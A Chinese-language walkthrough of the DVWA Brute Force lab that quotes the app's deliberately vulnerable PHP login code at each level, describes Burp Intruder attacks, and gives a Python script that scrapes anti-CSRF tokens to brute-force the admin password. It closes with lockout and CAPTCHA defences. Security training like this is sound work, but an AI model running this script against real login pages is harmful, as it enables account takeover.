DVWA 通關指南:Brute Force (爆破)


Brute Force (爆破)

Password cracking is the process of recovering passwords from data that has been stored in or transmitted by a computer system. A common approach is to repeatedly try guesses for the password.
Users often choose weak passwords. Examples of insecure choices include single words found in dictionaries, family names, any too short password (usually thought to be less than 6 or 7 characters), or predictable patterns (e.g. alternating vowels and consonants, which is known as leetspeak, so "password" becomes "p@55w0rd").
密碼破解是從計算機系統中存儲或傳輸的數據中還原出密碼的過程,一種常見的方法是反復嘗試猜測密碼,直到把正確的密碼試出來。用戶往往會設置弱密碼,不安全選擇的例子包括字典中的單字、姓氏、任何太短的密碼(通常被認為少於6或7個字符)或可預測的模式(例如,交替的元音和輔音,稱為 leetspeak,因此 “password” 變成了 p@55w0rd")。
Creating a targeted wordlists, which is generated towards the target, often gives the highest success rate. There are public tools out there that will create a dictionary based on a combination of company websites, personal social networks and other common information (such as birthdays or year of graduation).
A last resort is to try every possible password, known as a brute force attack. In theory, if there is no limit to the number of attempts, a brute force attack will always be successful since the rules for acceptable passwords must be publicly known; but as the length of the password increases, so does the number of possible passwords making the attack time longer.
創建一個面向目標的字典來重復測試,通常會獲得最高的成功率,有一些公共工具可以根據公司網站、個人社交網絡和其他常見信息(如生日或畢業年份)創建詞典。最后的辦法是嘗試所有可能的密碼,即暴力攻擊。理論上如果不限制嘗試次數,暴力攻擊總是成功的,因為可接受密碼的規則必須是公開的;但是隨着密碼長度的增加,可能的密碼數量也會增加,使得攻擊時間更長。

Your goal is to get the administrator’s password by brute forcing. Bonus points for getting the other four user passwords!

Low Level

The developer has completely missed out any protections methods, allowing for anyone to try as many times as they wish, to login to any user without any repercussions.
開發人員完全忽視了任何保護方法,允許任何人嘗試多次任意訪問,可以在沒有任何影響的情況下對任意用戶進行登錄。

源碼審計

源碼如下,代碼將獲取用戶輸入的用戶名和密碼並將其進行 md5 加密,然后使用 SQL SELECT 語句進行查詢。由於進行了 md5 加密,因此直接阻止了 SQL 注入,因為經過 md5 這種摘要算法之后 SQL 語句就會被破壞(不過這里用 SQL 注入可以登陸成功)。注意到此時服務器只是使用了 isset() 函數驗證了參數 Login 是否被設置,參數 username、password 沒有做任何過濾,更重要的是沒有任何的防爆破機制。

<?php

if(isset($_GET['Login'])){
    // Get username
    $user = $_GET['username'];

    // Get password
    $pass = $_GET['password'];
    $pass = md5($pass);

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if($result && mysqli_num_rows($result) == 1){
        // Get users details
        $row    = mysqli_fetch_assoc($result);
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else{
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

滲透方法

使用管理員用戶 admin 登錄,密碼隨便輸入,提示密碼錯誤。

打開 burp 抓包,然后把包發送給測試器,選擇 password 為有效負載,在狙擊手模式下進行攻擊。若無法抓本地的包,參考這篇博客解決。

使用字典進行爆破,等上一會兒就能爆破出密碼,使用爆破出的密碼就能登錄。

Medium Level

This stage adds a sleep on the failed login screen. This mean when you login incorrectly, there will be an extra two second wait before the page is visible.This will only slow down the amount of requests which can be processed a minute, making it longer to brute force.
此階段在驗證失敗的登錄屏幕上添加睡眠,這意味着當您登錄不正確時,在頁面可見之前將有額外的兩秒鍾等待。這只會減慢一分鍾內可處理的請求量,使暴力攻擊的時間更長。

源碼審計

源碼如下,Medium 級別的代碼主要增加了 mysql_real_escape_string 函數,該函數會對字符串中的特殊符號進行轉義,從而對用戶輸入的參數進行了簡單的過濾。相比 low 級別的代碼,當登錄驗證失敗時界面將凍結 2 秒,從而影響了爆破操作的效率,不過如果是一個閑來無事並且很有耐心的白帽黑客,爆破出密碼仍然是時間問題。

<?php

if(isset($_GET['Login'])){
    // Sanitise username input
    $user = $_GET['username'];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5($pass);

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die('<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>');

    if($result && mysqli_num_rows($result) == 1){
        // Get users details
        $row    = mysqli_fetch_assoc($result);
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep(2);
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

攻擊方式

和 low 級別一樣,還是用 Brup 抓包后爆破即可,只是因為每次測試都要等上 2 秒,需要等稍長的時間而已。

High Level

There has been an "anti Cross-Site Request Forgery (CSRF) token" used. There is a old myth that this protection will stop brute force attacks. This is not the case. This level also extends on the medium level, by waiting when there is a failed login but this time it is a random amount of time between two and four seconds. The idea of this is to try and confuse any timing predictions.Using a CAPTCHA form could have a similar effect as a CSRF token.
開發者使用了 “CSRF” 的反偽造請求,有一個舊的說法表示這種保護可以阻止暴力攻擊,但事實並非如此。這個級別也擴展了中等級別,在登錄失敗時等待,但這次是 2 到 4 秒之間的隨機時間,這樣做的目的是試圖混淆任何時間預測。使用驗證碼表單可能會產生與 CSRF 令牌類似的效果。

源碼審計

High 級別的代碼使用了stripslashes 函數,進一步過濾輸入的內容。同時使用了 Token 抵御 CSRF 攻擊,在每次登錄時網頁會隨機生成一個 user_token 參數,在用戶提交用戶名和密碼時要對 token 進行檢查再進行 sql 查詢。

<?php

if(isset($_GET['Login'])){
    // Check Anti-CSRF token
    checkToken($_REQUEST['user_token'], $_SESSION[ 'session_token' ], 'index.php');

    // Sanitise username input
    $user = $_GET['username'];
    $user = stripslashes($user);
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET['password'];
    $pass = stripslashes($pass);
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5($pass);

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if($result && mysqli_num_rows( $result ) == 1){
        // Get users details
        $row    = mysqli_fetch_assoc($result);
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else{
        // Login failed
        sleep(rand(0, 3));
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

我們來寫一段 Python 腳本把網頁爬下來看看,腳本如下觀察到 user_token 參數確實是每次提交都是不一樣的。

import requests
from bs4 import BeautifulSoup

r = requests.get("http:(DVWA 的 url)?username=admin&password=123&Login=Login&user_token=2e7b48d4765d38973ef827ee9786a05e#")
demo = r.text
soup = BeautifulSoup(demo,'html.parser') 
print(soup.prettify())

攻擊方式

由於 user_token 參數值是網頁實時生成的,因此我們不能直接選擇 password 的參數值進行爆破,而是應該先提取需要提交的 user_token 參數再來進行爆破。所以滲透的思路是,先把網頁爬下來提取 user_token 的參數值,然后再每次爆破時夾帶變化的 user_token 值進行測試。
比較好的選擇是用 Python 寫個腳本,首先建立個字典對象,里面用鍵值對預存一些 HTTP 包的字段值。將 Python 網絡爬蟲的 requests 和 BeautifulSoup 庫包含進來,先用 requests 把網頁爬下來,然后用 BeautifulSoup 庫提取 user_token 的值。最后寫個循環,把提取下來的 user_token 和已經准備好的字典上交,根據爬取頁面的返回的文本總長度來判斷是否是需要的密碼。

import requests
from bs4 import BeautifulSoup
 
header = {      #HTTP 包的一些頭,加上自己的字段值
    'Host': '',
    'User-Agent': '',
    'Accept': '',
    'Accept-Language': '',
    'Accept-Encoding': '',
    'Connection': '',
    'Referer': '',
    'Cookie': ''
    }

url = ""      #DVWA 靶場的 Brute Force 頁面的 URL
 
def get_token(url,header):      #輸出上一次爆破的結果,並提取下一個 user_token
    r = requests.get(url = url,headers = header)      #爬取頁面
    print (r.status_code,len(r.text))      #判斷是否成功爬取,及其返回頁面的文本長度
    soup = BeautifulSoup(r.text,"html.parser")      #用 BeautifulSoup 庫清洗返回的 HTML
    input = soup.form.select("input[type = 'hidden']")      #在 HTML 中查找字符串,返回一個 list
    user_token = input[0]['value']      #獲取用戶的 token
    return user_token
 
user_token = get_token(url,header)      #第一次爆破
num = 1
for line in open("爆破字典.txt"):      #導入爆破用的字典
    url = "http:(頁面的 URL)?username=admin&password=" + line.strip() + "&Login=Login&user_token=" + user_token
    print (num , 'admin' ,line.strip(),end = "  ")
    num = num + 1
    user_token = get_token(url,header)

例如這個是我用我生成的字典進行爆破的結果,觀察到第 5 次爆破返回的 HTML 長度與其他的都不同,說明它就是我們想要的密碼。

Impossible Level

Brute force (and user enumeration) should not be possible in the impossible level. The developer has added a "lock out" feature, where if there are five bad logins within the last 15 minutes, the locked out user cannot log in.
暴力(和用戶枚舉)不應該在該級別的代碼上實現,開發人員增加了一個“鎖定”功能,如果在過去 15 分鍾內有5次錯誤登錄,被鎖定的用戶將無法登錄。
If the locked out user tries to login, even with a valid password, it will say their username or password is incorrect. This will make it impossible to know if there is a valid account on the system, with that password, and if the account is locked.
如果被鎖定的用戶試圖登錄,即使使用了有效的密碼,也會顯示他們的用戶名或密碼不正確。這將使我們無法知道系統上是否有一個有效的帳戶、密碼以及該帳戶是否被鎖定。
This can cause a "Denial of Service" (DoS), by having someone continually trying to login to someone's account. This level would need to be extended by blacklisting the attacker (e.g. IP address, country, user-agent).
這可能會導致“拒絕服務”(DoS),因為有人不斷嘗試登錄某人的帳戶,因此需要通過將攻擊者列入黑名單(例如 IP 地址、國家/地區、用戶代理)來擴展此級別。

<?php

if(isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password'])){
    // Check Anti-CSRF token
    checkToken($_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php');

    // Sanitise username input
    $user = $_POST['username'];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_POST['password'];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time();

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
        */

        // Check to see if enough time has passed, if it hasn't locked the account
        if($timenow < $timeout) {
            $account_locked = true;
            // print "The account is locked<br />";
        }
    }

    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if(($data->rowCount() == 1) && ($account_locked == false)){
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // Login successful
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
        echo "<img src=\"{$avatar}\" />";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
        }

        // Reset bad login count
        $data = $db->prepare('UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;');
        $data->bindParam(':user', $user, PDO::PARAM_STR);
        $data->execute();
    } else {
        // Login failed
        sleep(rand( 2, 4 ));

        // Give the user some feedback
        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

        // Update bad login count
        $data = $db->prepare('UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;');
        $data->bindParam(':user', $user, PDO::PARAM_STR);
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare('UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;');
    $data->bindParam(':user', $user, PDO::PARAM_STR);
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

總結與防御

由於服務器沒有對用戶的輸入次數進行限制,導致攻擊者可以利用爆破的手段來進行攻擊,通過窮舉法將用戶名、密碼等信息爆出來。當攻擊者結合社會工程學生成了龐大的字典時,爆破攻擊的可能性將會被增大。對於爆破漏洞,開發者可以對用戶的登陸次數設置閾值,當某用戶名表示的用戶的登錄次數在一定時間內超過閾值時,就暫時鎖定用戶。也可以進行 IP 檢測,如果某個 IP 的登錄次數超過閾值也可以鎖定 IP。當然還有一種我們熟悉的方式,就是設置只有人可以通過驗證的驗證碼或者是其他的驗證手法,來保證進行登錄操作的是人而不是機器。

參考資料

新手指南:DVWA-1.9全級別教程之Brute Force
DVWA之Brute Force(暴力破解)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM